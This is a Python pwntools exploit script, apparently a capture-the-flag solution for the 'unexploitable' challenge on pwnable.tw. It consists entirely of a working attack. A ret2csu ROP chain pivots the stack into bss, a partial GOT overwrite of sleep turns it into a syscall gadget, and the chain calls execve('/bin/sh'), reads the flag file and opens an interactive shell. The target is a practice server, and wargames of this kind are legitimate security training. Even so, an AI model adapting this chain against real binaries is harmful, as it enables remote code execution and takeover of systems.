from pwn import *

main=0x000000000400544
leave=0x0000000000400576
rbp=0x0000000000400512
mx6_add_ret=0x0000000004005E6
csu_init=0x0000000004005D0
read=0x000000000601000
sleep_got=0x601010
init=0x000000000400580
bss=0x00602000-0xa00
def pay(r13,r14,r15,r12,rbp,off=0x18,rbx=0):
	#pay(edi,rsi,rdx,call,rbp)
	return ("A"*off+p64(mx6_add_ret)+p64(0xdeadbeef)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(csu_init))
#p=process("./unexploitable",env={'LD_PRELOAD':'./libc_64.so.6'})
p=remote("chall.pwnable.tw",10403)
payload=pay(0,bss-8,0x200,read,1)+p64(leave)+"A"*0x30+p64(rbp)+p64(bss-8)+p64(leave)#+pay(bss-0x8,0,0x100,read,1)
#context.log_level='debug'
#gdb.attach(p,'b read ')
p.send(payload.ljust(0x100,'\x00'))
####################
payload='/bin/sh\x00'+pay(0,sleep_got,0x1,read,1,0)+"\x00"*0x38+pay(0,bss+0x800,59,read,1,0)+"\x00"*0x38
payload+=pay(bss-8,0,0,sleep_got,1,0)
p.send(payload.ljust(0x200,'\x00'))

p.send('\xde')
payload="A"*59
p.send(payload)
'''sleep(3)
####################
payload=pay(0,sleep_got,0x1,read,1)+"".ljust(0x38,'\x00')+pay(0,bss+0x800,59,read,1,0)+p64(0xcafecafe)
p.send(payload.ljust(0x100,'\x00'))
####################
'''
p.sendline("cat /home/unexploitable/flag")
p.interactive()
